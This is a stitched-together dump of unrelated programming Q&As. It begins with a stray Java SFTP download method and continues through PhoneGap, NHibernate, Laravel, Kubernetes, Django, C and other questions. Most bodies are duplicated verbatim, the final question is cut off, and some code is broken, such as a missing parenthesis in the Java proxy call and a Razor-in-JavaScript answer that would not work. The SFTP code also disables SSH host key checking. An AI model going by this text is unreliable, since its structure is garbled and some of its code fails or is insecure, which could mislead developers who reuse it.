    private static void isSftpProxyEnabled(Session session) {
        // Fetching the sftp proxy flag set as part of the properties file
        boolean isSftpProxyEnabled = Boolean.valueOf("<sftp.proxy.enable>");
        // Validating if proxy is enabled to access the sftp
        if (isSftpProxyEnabled) {
            // Setting host and port of the proxy to access the SFTP
            session.setProxy(new ProxyHTTP("<sftp.proxy.host>",
                    Integer.valueOf("<sftp.proxy.port>");
        }
        System.out.println("Proxy status: " + isSftpProxyEnabled);
    }

    /**
     *
     * @param folder
     * @param event
     * @param locale
     */
    public static void download(String folder, String event, String locale) {

        String method = "download(String folder, String event, String locale)";
        Session session = null;
        Channel channel = null;
        ChannelSftp channelSftp = null;
        try {
            // Creating and instantiating the jsch specific instance
            JSch jsch = new JSch();
            // Fetching and setting the parameters like: user name, host and port
            // from the properties file
            session = jsch.getSession("<sftp.user.name>",
                    "<sftp.host>",
                    Integer.valueOf("<sftp.port>"));
            // Fetching and setting the password as configured in properties files
            session.setPassword("<sftp.user.password>");
            // Setting the configuration specific properties
            Properties config = new Properties();
            config.put("StrictHostKeyChecking", "no");
            session.setConfig(config);
            // Validating if proxy is enabled to access the sftp
            isSftpProxyEnabled(session);
            // Execution start time
            long lStartTime = new Date().getTime();
            System.out.println("Connecting to the sftp...");
            // Connecting to the sftp
            session.connect();
            System.out.println("Connected to the sftp.");
            // Execution end time
            long lEndTime = new Date().getTime();
            System.out.println("---------------------------------------------");
            System.out.println("Connected to SFTP in : " + (lEndTime - lStartTime));
            // Setting the channel type as sftp
            channel = session.openChannel(SFTP);
            // Establishing the connection
            channel.connect();
            channelSftp = (ChannelSftp) channel;
            try {
                // Setting the folder location of the external system as configured
                // to download the file from
                channelSftp.cd("<sftp.input.folder.url>");
            } catch (SftpException sftpException) {
                System.out.println("Failed to change the directory in sftp.");
            }
            // Listing all the .csv file(s) specific to the source system, event type (download) and locale code
            Vector<ChannelSftp.LsEntry> lsEntries = channelSftp.ls(
                    new StringBuilder("*").append("<sys.code>").append("*").append(event)
                    .append("*").append(locale).append("*").append(".csv").toString());
            // Validating if files exist to process the request further
            if (lsEntries.isEmpty()) {
                System.out.println("No file exist in the specified sftp folder location.");
            }
            // Iterating the list of entries to download the file(s) from the sftp
            for (ChannelSftp.LsEntry entry : lsEntries) {
                try {
                    // Downloading the specified file from the sftp to the specified folder path
                    channelSftp.get(entry.getFilename(), new StringBuilder(folder)
                            .append(File.separator).append(entry.getFilename()).toString());
                } catch (SftpException sftpException) {
                    System.out.println("Failed to download the file the sftp folder location.");
                }
            }
            // Iterating the list of entries to delete the file(s) from the sftp
            for (ChannelSftp.LsEntry entry : lsEntries) {
                try {
                    // Deleting the specified file from the sftp
                    channelSftp.rm(entry.getFilename());
                } catch (SftpException sftpException) {
                    System.out.println("Failed to delete the file from the sftp folder location.");
                }
            }
        } catch (Exception exception) {
            System.out.println("Failed to download the file(s) from SFTP.");
        } finally {
            // Validating if channel sftp is not null to exit
            if (channelSftp != null) {
                channelSftp.exit();
            }
            // Validating if channel is not null to disconnect
            if (channel != null) {
                channel.disconnect();
            }
            // Validating if session instance is not null to disconnect
            if (session != null) {
                session.disconnect();
            }
        }
    }
}


问:
How to perform Push Notification in adobe Phonegap using Firebase Cloud Messaging
Currently I am developing hybrid application using Adobe phonegap. I have created java web based application which contains .html, javascript and css files. I have put server side code into cloud.

I have developed hybrid app. but now i have to implement Push Notification in the same application. so i have visited different links for it, but i am confused between either i have to perform it with Android based IDE or Platform or i can directly perform it using Google cloud Messaging or Firebase cloud Messaging.

Is it compulsory to use Android or iOS based Studio or platform?
Is there any plugins related to push notification?

Give me some suggestions regarding implementing Push notification in hybrid Applcation.

答:
You can use FCM and GCM is not available longer.

So FCM is avialable for both android and ios.
For integration you can checkout this repository:

```<code>https://github.com/fechanique/cordova-plugin-fcm
</code>```

Its very simple and easy integration.

Body:
You can use FCM and GCM is not available longer.

So FCM is avialable for both android and ios.
For integration you can checkout this repository:

https://github.com/fechanique/cordova-plugin-fcm

Its very simple and easy integration.


问:
one-way operations in web service c#
Dear All,,
I need to consume web service and they send me WSDL. I was added it to service reference and when I called method GetDataWarehouse() in WSDL I got error..

"The one-way operation 'SubmitAccessList' on ServiceContract 'DataWarehouseWebService' is configured for transaction flow. Transactions cannot be flowed over one-way operations."

SubmitAccessList is one of method in WSDL but I wonder because I didn`t used it for now..

Can you give me a hint?

答:
Ok, what you use is pretty irrelevant - WDSL is "all or nothing" in that the tool looks at it all, or not at all. You can argue this is a limitation -it is - but in most cases not a relevant one.

What is funny that this looks - never experienced this myself - like an error, as in the provider got a very funny non-legal setup for his web service, which means and hints there is nothing you can do. It seems they implmenent a one way web service.... and the service contract is putting in transactions. BAD combo.... a transaction can not be properly handled without additional communication and feedback to the sender, so the one way paradigm (fire and forget) is not logically compatible.

If noone else has a better ansqwer... I would say contact the web service provider for support (and have them fix their service).

I gladly take a correction on this if anyone has a better idea ;)

ContentLicense: CC BY-SA 2.5

Title: one-way operations in web service c#


问:
NHibernate: Error when saving Bag with NOT-Nullable Constraint
Given are tables Item and ItemTranslation where the latter has a NOT-Nullable foreign key on Item.

ItemTranslation.hbm.xml only has its properties Text and LanguageCode, it does NOT map Item.

Item.hbm.xml:

```<code><bag name="Translations" cascade="all-delete-orphan">
  <key column="ItemID" />
  <one-to-many class="ItemTranslation, SomeNamespace" />
</bag>
</code>```

Now when I do the following:

```<code>Item item = new Item();
item.Translations.Add( new ItemTranslation { LanguageCode = "DE", Text = "Test DE" } );
item.Translations.Add( new ItemTranslation { LanguageCode = "EN", Text = "Test EN" } );
item.Save();
</code>```

NHibernate throws the following exception:

```<code>System.Data.SqlClient.SqlException : Cannot insert the value NULL into column 'ItemID', table 'someDb.dbo.ItemTranslation'; column does not allow nulls. INSERT fails.
Cannot insert the value NULL into column 'ItemID', table 'someDb.dbo.ItemTranslation'; column does not allow nulls.
</code>```

I could fix it either by mapping ItemID as many-to-one in IssuedItemTranslation.hbm.xml or making the column NULLable.

But both ways are kind of ugly.

Is there any other possibility? Maybe with some change in the bag-mapping?

Thank you in advance.

答:
It works when mapping the bag as follows:

```<code><bag name="Translations" cascade="all-delete-orphan">
  <key column="ItemID" not-null="true" update="false" />
  <one-to-many class="ItemTranslation, SomeNamespace" />
</bag>
</code>```

Is this the correct solution?

Body:
Given are tables Item and ItemTranslation where the latter has a NOT-Nullable foreign key on Item.

ItemTranslation.hbm.xml only has its properties Text and LanguageCode, it does NOT map Item.

Item.hbm.xml:

<bag name="Translations" cascade="all-delete-orphan">
  <key column="ItemID" />
  <one-to-many class="ItemTranslation, SomeNamespace" />
</bag>

Now when I do the following:

Item item = new Item();
item.Translations.Add( new ItemTranslation { LanguageCode = "DE", Text = "Test DE" } );
item.Translations.Add( new ItemTranslation { LanguageCode = "EN", Text = "Test EN" } );
item.Save();

NHibernate throws the following exception:

System.Data.SqlClient.SqlException : Cannot insert the value NULL into column 'ItemID', table 'someDb.dbo.ItemTranslation'; column does not allow nulls. INSERT fails.
Cannot insert the value NULL into column 'ItemID', table 'someDb.dbo.ItemTranslation'; column does not allow nulls.

I could fix it either by mapping ItemID as many-to-one in IssuedItemTranslation.hbm.xml or making the column NULLable.

But both ways are kind of ugly.

Is there any other possibility? Maybe with some change in the bag-mapping?

Thank you in advance.

Body:
It works when mapping the bag as follows:

<bag name="Translations" cascade="all-delete-orphan">
  <key column="ItemID" not-null="true" update="false" />
  <one-to-many class="ItemTranslation, SomeNamespace" />
</bag>

Is this the correct solution?


问:
Undefined offset: 1 error for laravel validation
I have some validation on my form in laravel to ensure the gift the user is claiming is one assigned to their campaign with the below code

```<code>'gift_id' => 'required|int|exists:gifts,campaign_id,' . \Auth::user()->campaign->id,
</code>```

But on form submission I am getting the following error

ErrorException in ValidatesAttributes.php line 721:
      Undefined offset: 1

Could someone please help me out?

Thanks

答:
You need a more custom exists rule. According to the docs exists as a string can only handle the existence of a specific input value in the specific column:

```<code>'gift_id' => [
    'required',
    'int',
    Rule::exists('gifts')->where(function ($query) {
        $query->where('campaign_id', \Auth::user()->campaign->id);
    }),
],
</code>```

or something to this effect.

Body:
I have some validation on my form in laravel to ensure the gift the user is claiming is one assigned to their campaign with the below code

'gift_id' => 'required|int|exists:gifts,campaign_id,' . \Auth::user()->campaign->id,

But on form submission I am getting the following error

ErrorException in ValidatesAttributes.php line 721:
      Undefined offset: 1

Could someone please help me out?

Thanks

Body:
You need a more custom exists rule. According to the docs exists as a string can only handle the existence of a specific input value in the specific column:

'gift_id' => [
    'required',
    'int',
    Rule::exists('gifts')->where(function ($query) {
        $query->where('campaign_id', \Auth::user()->campaign->id);
    }),
],

or something to this effect.


问:
How do sites like codepad.org and ideone.com sandbox your program?
I need to compile and run user-submitted scripts on my site, similar to what codepad and ideone do. How can I sandbox these programs so that malicious users don't take down my server?

Specifically, I want to lock them inside an empty directory and prevent them from reading or writing anywhere outside of that, from consuming too much memory or CPU, or from doing anything else malicious.

I will need to communicate with these programs via pipes (over stdin/stdout) from outside the sandbox.

答:
codepad.org has something based on geordi, which runs everything in a chroot (i.e restricted to a subtree of the filesystem) with resource restrictions, and uses the ptrace API to restrict the untrusted program's use of system calls. See http://codepad.org/about .

I've previously used Systrace, another utility for restricting system calls.

If the policy is set up properly, the untrusted program would be prevented from breaking anything in the sandbox or accessing anything it shouldn't, so there might be no need put programs in separate chroots and create and delete them for each run. Although that would provide another layer of protection, which probably wouldn't hurt.


问:
How to pass a value in src="@url.content" using javascript or jquery
```<code><script>

    var Details = function (Id, username, Empname, UserType, Address, Gender, Mob, image) {
        $("#hiddenEmployeeId").val(Id);
        $("#EditModal").modal("show");
        $("#susertype").html(UserType);
        $("#saddress").html(Address);
        $("#sgender").html(Gender);
        $("#smob").html(Mob);
        $("#suname").html(Empname);
        $("#sename").html(username);
    }

</script>
</code>```

Getting value from from a image variable form above that script

```<code><img src="@Url.content("")" />
</code>```

i have to place in this img

答:
you can not use javascript variable directly. so you have to manage your image path like below.</p>

```<code><script>
    var Details = function (Id, username, Empname, UserType, Address, Gender, Mob, image) {
        $("#hiddenEmployeeId").val(Id);
        $("#EditModal").modal("show");
        $("#susertype").html(UserType);
        $("#saddress").html(Address);
        $("#sgender").html(Gender);
        $("#smob").html(Mob);
        $("#suname").html(Empname);
        $("#sename").html(username);
        $("#image").attr("src",@Url.content("~/")image);
    }
</script>
<img id="image" />
</code>```

Body:
Getting value from from a image variable form above that script

i have to place in this img

Body:
you can not use javascript variable directly. so you have to manage your image path like below.

<script>
    var Details = function (Id, username, Empname, UserType, Address, Gender, Mob, image) {
        $("#hiddenEmployeeId").val(Id);
        $("#EditModal").modal("show");
        $("#susertype").html(UserType);
        $("#saddress").html(Address);
        $("#sgender").html(Gender);
        $("#smob").html(Mob);
        $("#suname").html(Empname);
        $("#sename").html(username);
        $("#image").attr("src",@Url.content("~/")image);
    }
</script>
<img id="image" />


问:
How to automatically remove completed Kubernetes Jobs created by a CronJob?
Is there a way to automatically remove completed Jobs besides making a CronJob to clean up completed Jobs?

The K8s Job Documentation states that the intended behavior of completed Jobs is for them to remain in a completed state until manually deleted. Because I am running thousands of Jobs a day via CronJobs and I don't want to keep completed Jobs around.

答:
You can now set history limits, or disable history altogether, so that failed or successful CronJobs are not kept around indefinitely.  See my answer here. Documentation is here.

To set the history limits:

The .spec.successfulJobsHistoryLimit and .spec.failedJobsHistoryLimit fields are optional. These fields specify how many completed and failed jobs should be kept. By default, they are set to 3 and 1 respectively. Setting a limit to 0 corresponds to keeping none of the corresponding kind of jobs after they finish.

The config with 0 limits would look like:

```<code>apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  successfulJobsHistoryLimit: 0
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            args:
            - /bin/sh
            - -c
            - date; echo Hello from the Kubernetes cluster
          restartPolicy: OnFailure
</code>```

Body:
You can now set history limits, or disable history altogether, so that failed or successful CronJobs are not kept around indefinitely.  See my answer here. Documentation is here.

To set the history limits:

The .spec.successfulJobsHistoryLimit and .spec.failedJobsHistoryLimit fields are optional. These fields specify how many completed and failed jobs should be kept. By default, they are set to 3 and 1 respectively. Setting a limit to 0 corresponds to keeping none of the corresponding kind of jobs after they finish.

The config with 0 limits would look like:

apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  successfulJobsHistoryLimit: 0
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            args:
            - /bin/sh
            - -c
            - date; echo Hello from the Kubernetes cluster
          restartPolicy: OnFailure


答:
give class or Id to img as below

```<code><img class="img" src="@Url.content("")" />
</code>```

and than set attribute value using class or ID as below

```<code>$(".img").attr("src","xyz");
</code>```

For this example i have used class you can also use ID for the same

Title: How to pass a value in src="@url.content" using javascript or jquery

Body:
give class or Id to img as below

<img class="img" src="@Url.content("")" />

and than set attribute value using class or ID as below

$(".img").attr("src","xyz");

For this example i have used class you can also use ID for the same


问:
Adding Model field from django views
I am using django-rest-framework with pandas to make an api and my models.py file looks like this

```<code>class Health(models.Model):
    Name = models.CharField(max_length=30,null=True,blank=True)
    Age = models.IntegerField(null=True,blank=True)
    Weight = models.FloatField(null=True,blank=True)
    Height = models.FloatField(null=True,blank=True)
    Sugar = models.FloatField(null=True,blank=True)
    def __str__(self):
        return self.Name
</code>```

and my views.py file looks like this

```<code>@api_view(['GET'])
def my_view(request,id):
    qs = Health.objects.filter(id = id)
    df = read_frame(qs)
    df['x-Mean'] = abs(df['Age'] - df['Age'].mean())
    df['1.96*std'] = 1.96*df['Age'].std()
    df['Outlier'] = abs(df['Age'] - df['Age'].mean()) > 1.96*df['Age'].std()
    df['BMI'] = df['Weight']/(df['Height']/100)**2
    a = df.fillna(0)
    a = a.to_dict(orient = 'records')
    return Response(a)
</code>```

As you can see that i have no model field named BMI as I am creating it in my views using pandas dataframe and I want to save the field and it's corresponding data in my django database from django views. can anyone help me to achieve this task or suggest an appropriate way to do this.

答:
```<code>@api_view(['GET'])
def my_view(request,id):
    qs = Health.objects.filter(id = id)
    df = read_frame(qs)
    df['x-Mean'] = abs(df['age'] - df['age'].mean())
    df['1.96*std'] = 1.96*df['age'].std()
    df['outlier'] = abs(df['age'] - df['age'].mean()) > 1.96*df['age'].std()
    df['bmi'] = df['weight']/(df['height']/100)**2
    for q in qs:
        q.bmi = df['bmi'][0]
        q.save()
    a = df.fillna(0)
    a = a.to_dict(orient = 'records')
    return Response(a)
</code>```

Title: Adding Model field from django views

Body:
I am using django-rest-framework with pandas to make an api and my models.py file looks like this

class Health(models.Model):
    Name = models.CharField(max_length=30,null=True,blank=True)
    Age = models.IntegerField(null=True,blank=True)
    Weight = models.FloatField(null=True,blank=True)
    Height = models.FloatField(null=True,blank=True)
    Sugar = models.FloatField(null=True,blank=True)
    def __str__(self):
        return self.Name

and my views.py file looks like this

@api_view(['GET'])
def my_view(request,id):
    qs = Health.objects.filter(id = id)
    df = read_frame(qs)
    df['x-Mean'] = abs(df['Age'] - df['Age'].mean())
    df['1.96*std'] = 1.96*df['Age'].std()
    df['Outlier'] = abs(df['Age'] - df['Age'].mean()) > 1.96*df['Age'].std()
    df['BMI'] = df['Weight']/(df['Height']/100)**2
    a = df.fillna(0)
    a = a.to_dict(orient = 'records')
    return Response(a)

As you can see that i have no model field named BMI as I am creating it in my views using pandas dataframe and I want to save the field and it's corresponding data in my django database from django views. can anyone help me to achieve this task or suggest an appropriate way to do this.


问:
Admob implementation in developed app in Android studio
I developed a Android app successfully, later I want to implement admob banner and interstitial.  I wasted my many sleeps with many errors.
here is sorce code, plzz help me someone plzzzz. https://drive.google.com/file/d/0BzIEX5W66bPAMXlCOUhYVHNBWHM/view?usp=drivesdk</p>

答: First remove all your admob logic from your app, then add project in firebase console then follow this guide carefully. </p>


问:
Nginx reverse proxy server
I have 2 Ubuntu servers running on same location in digital ocean and the first one running as webserver(nginx) and the other one running as app-server(Nodejs)

Webserver sending request through private ip and as you guys can guess the app-server is not allow the direct requests.

My question is I have image/upload directory in the app-server such as : /srv/upload/user_images and I want to get those images from a web browser.

For example : www.myappserveripaddress.com/srv/upload/user_images/image1.jpeg

but the privilages would be the only image can be accessed from outside.None can access the /srv/upload/user_images/ to see the all images.

I dont know if its possible or not. Only if the user knows the image name , he can enter the ip.com/srv/upload/user_images/imageName.jpg . If this is possible what should I do ?

答: You must write an api and client between your servers. Logic is that: end user wants to access an image. Nginx (probably php) receives the request and creates a new request to nodejs. It checks the image path and returns the image to nginx, nginx returns image data to client.</p>

Title: Nginx reverse proxy server


问:
How to sort a HashMap by it amount of value in Java
I have declared a HashMap like this:

```<code>Map<Integer,ArrayList<Integer>> numbers = new HashMap<Integer,ArrayList<Integer>>();
</code>```

It has an output like this:

{64=[61, 68, 77], 65=[63, 66, 66, 70], 66=[69, 75, 2], 2=[4], 67=[65, 77], 4=[2]}

How do I count an value amount of its key?

So for 64 will be 3, 65 will be 4 and 66 will be 3

And then get a keys which has top 3 value amount
So the output in this case be like 65 64 66

答:
Java 8 Version. This will sort according to the value in ascending order; for descending order, it is just possible to uncomment the call to Collections.reverseOrder().</p>

```<code>public static <K, V extends Comparable<? super V>> Map<K, V> sortByValue(Map<K, V> map) {
    return map.entrySet()
              .stream()
              .sorted(Map.Entry.comparingByValue(/*Collections.reverseOrder()*/))
              .collect(Collectors.toMap(
                Map.Entry::getKey,
                Map.Entry::getValue,
                (e1, e2) -> e1,
                LinkedHashMap::new
              ));
}
</code>```

Body:
I have declared a HashMap like this:

Map<Integer,ArrayList<Integer>> numbers = new HashMap<Integer,ArrayList<Integer>>();

It has an output like this:

{64=[61, 68, 77], 65=[63, 66, 66, 70], 66=[69, 75, 2], 2=[4], 67=[65, 77], 4=[2]}

How do I count an value amount of its key?

So for 64 will be 3, 65 will be 4 and 66 will be 3

And then get a keys which has top 3 value amount
So the output in this case be like 65 64 66

Body:
Java 8 Version. This will sort according to the value in ascending order; for descending order, it is just possible to uncomment the call to Collections.reverseOrder().

public static <K, V extends Comparable<? super V>> Map<K, V> sortByValue(Map<K, V> map) {
    return map.entrySet()
              .stream()
              .sorted(Map.Entry.comparingByValue(/*Collections.reverseOrder()*/))
              .collect(Collectors.toMap(
                Map.Entry::getKey,
                Map.Entry::getValue,
                (e1, e2) -> e1,
                LinkedHashMap::new
              ));
}


问:
LINQ ICollection of a Model to a string with Name and Surname from within another model
I have a field which is a collection of a model ICollection "Parties", which is in another model "Matter". I want to extract the Name and Surname of each party and separate with a "/" using LINQ. I am putting these into a field called Investors, the second last item.

This is my query:

```<code>    var matterQuery = (from matter in context.Matters
  select new
  {
      matter.ID,
      matter.AttorneyRef,
      matter.Status,
      matter.ProductType,
      matter.IsDiscarded,
      matter.Base_CreatedDate,
      matter.Base_CreatedBy,
      matter.BranchID,
      matter.InstitutionID,
      matter.InvestmentTypeID,

      StatusName = matter.MatterStatu != null ? matter.MatterStatu.Name : string.Empty,
      ProductTypeName = matter.ProductType1 != null ? matter.ProductType1.Name : string.Empty,
      AccountNumber = matter.Account != null ? matter.Account.AccountNumber : string.Empty,
      CreatedBy = matter.Paralegal != null ? matter.Paralegal
      : matter.AspNetUser != null ? matter.AspNetUser.FirstName + " " + matter.AspNetUser.LastName
      : matter.User != null ? matter.User.Firstname + " " + matter.User.Surname
      : string.Empty,
      IntermediaryName = matter.IntermediaryBranch != null ? matter.IntermediaryBranch.Intermediary.Name
      : matter.Attorney != null ? matter.Attorney.AttorneyName
      : string.Empty,
      CloseRequested = matter.CloseAccounts.Where(x => x.Status == (int)CloseAccountStatusEnum.Authorised).Count() > 0,
      StatementRequested = matter.Account != null ? matter.Account.StatementRequested : false,
      RequestedDate = matter.RequestedDate.HasValue ? matter.RequestedDate.Value : matter.Base_CreatedDate,
      Investors = matter.Parties.Select(x => x.Name.ToString()).Concat(matter.Parties.Select(x => x.Surname.ToString())),
      SoftLock = matter.SoftLock,
  })
   .AsQueryable();
</code>```

I need this in 1 long string as I am doing a search on the results for a filter and the following line:

```<code>(x.Investors != null && x.Investors.ToLower().Contains(search))
</code>```

requires it be in a string format. I want to display the results as "Name1 Surname1 / Name2 Surname2 / ..."

How can I do this?

EDIT:

I have tried Join and Aggregate but I get the errors:

base {System.SystemException} = {System.NotSupportedException: LINQ to Entities does not recognize the method 'System.String Join(System.String, System.Collections.Generic.IEnumerable`1[System.String])' method, and this method cannot be translated into a store expression.
   at System.Da...

and...

System.NotSupportedException: LINQ to Entities does not recognize the method 'System.String Aggregate[String](System.Collections.Generic.IEnumerable1[System.String], System.Func3[System.String,System.String,System.String])'

答:
I solved this by:

In the original query:

```<code>select new{
Investors = matter.Parties.Select(x => x.Name + " " + x.Surname),
}
</code>```

In the search:

```<code>matterQuery.Where(x =>
(x.Investors.Any(y => y.ToLower().Contains(searchString)))
);
</code>```

When transferring data to a ViewModel:

```<code>Investors = String.Join(" / ", matter.InvestorNames),
</code>```

Body:
I have a field which is a collection of a model ICollection "Parties", which is in another model "Matter". I want to extract the Name and Surname of each party and separate with a "/" using LINQ. I am putting these into a field called Investors, the second last item.

This is my query:

    var matterQuery = (from matter in context.Matters
  select new
  {
      matter.ID,
      matter.AttorneyRef,
      matter.Status,
      matter.ProductType,
      matter.IsDiscarded,
      matter.Base_CreatedDate,
      matter.Base_CreatedBy,
      matter.BranchID,
      matter.InstitutionID,
      matter.InvestmentTypeID,

      StatusName = matter.MatterStatu != null ? matter.MatterStatu.Name : string.Empty,
      ProductTypeName = matter.ProductType1 != null ? matter.ProductType1.Name : string.Empty,
      AccountNumber = matter.Account != null ? matter.Account.AccountNumber : string.Empty,
      CreatedBy = matter.Paralegal != null ? matter.Paralegal
      : matter.AspNetUser != null ? matter.AspNetUser.FirstName + " " + matter.AspNetUser.LastName
      : matter.User != null ? matter.User.Firstname + " " + matter.User.Surname
      : string.Empty,
      IntermediaryName = matter.IntermediaryBranch != null ? matter.IntermediaryBranch.Intermediary.Name
      : matter.Attorney != null ? matter.Attorney.AttorneyName
      : string.Empty,
      CloseRequested = matter.CloseAccounts.Where(x => x.Status == (int)CloseAccountStatusEnum.Authorised).Count() > 0,
      StatementRequested = matter.Account != null ? matter.Account.StatementRequested : false,
      RequestedDate = matter.RequestedDate.HasValue ? matter.RequestedDate.Value : matter.Base_CreatedDate,
      Investors = matter.Parties.Select(x => x.Name.ToString()).Concat(matter.Parties.Select(x => x.Surname.ToString())),
      SoftLock = matter.SoftLock,
  })
   .AsQueryable();

I need this in 1 long string as I am doing a search on the results for a filter and the following line:

(x.Investors != null && x.Investors.ToLower().Contains(search))

requires it be in a string format. I want to display the results as "Name1 Surname1 / Name2 Surname2 / ..."

How can I do this?

EDIT:

I have tried Join and Aggregate but I get the errors:

base {System.SystemException} = {System.NotSupportedException: LINQ to Entities does not recognize the method 'System.String Join(System.String, System.Collections.Generic.IEnumerable`1[System.String])' method, and this method cannot be translated into a store expression.
   at System.Da...

and...

System.NotSupportedException: LINQ to Entities does not recognize the method 'System.String Aggregate[String](System.Collections.Generic.IEnumerable1[System.String], System.Func3[System.String,System.String,System.String])'

Body:
I solved this by:

In the original query:

select new{
Investors = matter.Parties.Select(x => x.Name + " " + x.Surname),
}

In the search:

matterQuery.Where(x =>
(x.Investors.Any(y => y.ToLower().Contains(searchString)))
);

When transferring data to a ViewModel:

Investors = String.Join(" / ", matter.InvestorNames),


问:
Facade design pattern and close coupling
When learning Facade design pattern, everywhere I find this kind of examples:

```<code>public class SystemA
{
 public void CreateCreditCard(){//implementation}
 //other methods here
}

public class SystemB
{
 public void CheckCreditCard(){//implementation}
//other methods here
}

public class Facade
{
 SystemA subsystemA = new SystemA();
 SystemB subsystemB = new SystemB();

 public void CreateAccount()
 {
   subsystemA.CreateCreditCard();
   subsystemB.CheckCreditCard();
 }
}
</code>```

I don't know if I'm wrong but doesn't it create close coupling between the Facade class and the Systems(SystemA and SystemB), even if SystemA and SystemB are inherited from some abstract class or interface.

答:
Facade patterns, hides the complexity of the system and provides an interface to the client from where the client can access the system.

Typical example is compiler while as a client you can invoke compile method, but you don't see internal steps like scanning, parsing, ...

Body:
When learning Facade design pattern, everywhere I find this kind of examples:

public class SystemA
{
 public void CreateCreditCard(){//implementation}
 //other methods here
}

public class SystemB
{
 public void CheckCreditCard(){//implementation}
//other methods here
}

public class Facade
{
 SystemA subsystemA = new SystemA();
 SystemB subsystemB = new SystemB();

 public void CreateAccount()
 {
   subsystemA.CreateCreditCard();
   subsystemB.CheckCreditCard();
 }
}

I don't know if I'm wrong but doesn't it create close coupling between the Facade class and the Systems(SystemA and SystemB), even if SystemA and SystemB are inherited from some abstract class or interface.


问:
C Value of initialised variable changes by itself after comparison
I am implementing a simple tree structure in C. The program showed some strange behaviour, and I was able to narrow it down to a place, where value stored in a memory location and accessed by using pointers unexpectedly changes. It is replicable, but only happens after a few runs (depending deterministically on the input) of a recursive function. It is in somewhere in the header of 'while' statement. I have checked that just before 'while' all pointers point to memory cells that have expected, well-defined etc. content. What bugs me most, is that even if I assign copy of the value to another variable that variable changes too. I have no idea how it is possible, though I suspect there's something obvious I'm missing. Below are relevant code fragments.

```<code>typedef struct _Node {
    int root;
    struct _Node *children;
    struct _Node *next;
    struct _Node *previous;
} Node;

int delete_subtree_aux(Node *n) {

    Node *children = get_children(n);

    int i = children->root;
    int j = i;

    // At this point i and j both equal e.g. -4

    while (!(children->next->root == children->root)) {

        i = children->root;

        // At this point i equals -3

        assert(i == j);

        // And j equals -3 too!

        delete_subtree_aux(get_first(children));

    }

    free_node(children);
}
</code>```

All help is greatly appreciated!

Edit:

After setting additional breakpoint at free_node(children); I have noticed that something is off with the order of instructions executed. At one time program goes straight from free_node(children); to the inside of the loop bypassing while condition checking. 'n', 'i', 'j' and 'children' change together and correspond to different function inputs. Setting data breakpoints revealed that different 'j's are at two different memory addresses.

It seems to me, like for some reason that a few instances of this function are somehow executed in paralell, but that's not my intention. My follow-up question is, can freeing memory in such conditions cause errors? If yes, what should I do to fix it?

Edit 2:
Source for other functions called in the code above:

```<code>int free_node(Node *n) {
    free(n);
}

Node *get_children(Node *n) {
    return n->children;
}

Node *get_first(Node *list) {
    return list->next;
}
</code>```

答:
The problem was that when get_first(children) == get_last(children)  the while loop should have its last iteration. However, delete_subtree_aux fails to update where children->next points to. When children of the node at this address are free'd, the while loop instead of stopping, tries to do one more iteration (since children->next points to some Node-like garbage in memory that is different to children). This time however, it tries to access free'd children, and that of course causes error.

The mysterious changing of 'i', 'j', 'children', and 'n' between before while and inside were a result of viewing different levels of recursive function on the stack, as pointed out by @Holsety in the comments.

Body:
I am implementing a simple tree structure in C. The program showed some strange behaviour, and I was able to narrow it down to a place, where value stored in a memory location and accessed by using pointers unexpectedly changes. It is replicable, but only happens after a few runs (depending deterministically on the input) of a recursive function. It is in somewhere in the header of 'while' statement. I have checked that just before 'while' all pointers point to memory cells that have expected, well-defined etc. content. What bugs me most, is that even if I assign copy of the value to another variable that variable changes too. I have no idea how it is possible, though I suspect there's something obvious I'm missing. Below are relevant code fragments.

typedef struct _Node {
    int root;
    struct _Node *children;
    struct _Node *next;
    struct _Node *previous;
} Node;

int delete_subtree_aux(Node *n) {

    Node *children = get_children(n);

    int i = children->root;
    int j = i;

    // At this point i and j both equal e.g. -4

    while (!(children->next->root == children->root)) {

        i = children->root;

        // At this point i equals -3

        assert(i == j);

        // And j equals -3 too!

        delete_subtree_aux(get_first(children));

    }

    free_node(children);
}

All help is greatly appreciated!

Edit:

After setting additional breakpoint at free_node(children); I have noticed that something is off with the order of instructions executed. At one time program goes straight from free_node(children); to the inside of the loop bypassing while condition checking. 'n', 'i', 'j' and 'children' change together and correspond to different function inputs. Setting data breakpoints revealed that different 'j's are at two different memory addresses.

It seems to me, like for some reason that a few instances of this function are somehow executed in paralell, but that's not my intention. My follow-up question is, can freeing memory in such conditions cause errors? If yes, what should I do to fix it?

Edit 2:
Source for other functions called in the code above:

int free_node(Node *n) {
    free(n);
}

Node *get_children(Node *n) {
    return n->children;
}

Node *get_first(Node *list) {
    return list->next;
}


问:
Does SOAP/JMS should always handle the Fault?
Does SOAP/JMS require to handle the Fault message in one-way communication?
In HTTP it's simple, we have HTTP status code with response after sending req.
What about JMS?
I mean let's consider following simplified binding in wsdl:

```<code><wsdl:binding>
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/jms"/>
    <wsdl:operation name="ala">
        <soap:operation soapAction="" style="document"/>
        <wsdl:input name="ala"/>
    <wsdl:operation/>
  <soap:binding/>
<wsdl:binding/>
</code>```

In this scenario does SOAP require to wait by the client for the response message with optional Fault (which could always happen)? Or does SOAP Fault is not supported for this scenario/communication protocol and it's in line with the standard?

答: According to WS-I 2.0 basic profile and WSDL 2.0 specifications it is not allowed to define fault when there is no output in operation definition.

Body:
Does SOAP/JMS require to handle the Fault message in one-way communication?
In HTTP it's simple, we have HTTP status code with response after sending req.
What about JMS?
I mean let's consider following simplified binding in wsdl:

<wsdl:binding>
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/jms"/>
    <wsdl:operation name="ala">
        <soap:operation soapAction="" style="document"/>
        <wsdl:input name="ala"/>
    <wsdl:operation/>
  <soap:binding/>
<wsdl:binding/>

In this scenario does SOAP require to wait by the client for the response message with optional Fault (which could always happen)? Or does SOAP Fault is not supported for this scenario/communication protocol and it's in line with the standard?


问:
Can any one give an idea about best way of implementing script in selenium web driver with testng and eclipse?
I have started writing selenium web driver script using with TestNg and Eclipse . Can any one suggest basic idea and better way of scripting ?

Currently i am working a big project which have so many modules. I have to automate some test case in all modules. So how will i start with ??

1, I have to create separate  class on writing script for each module ??

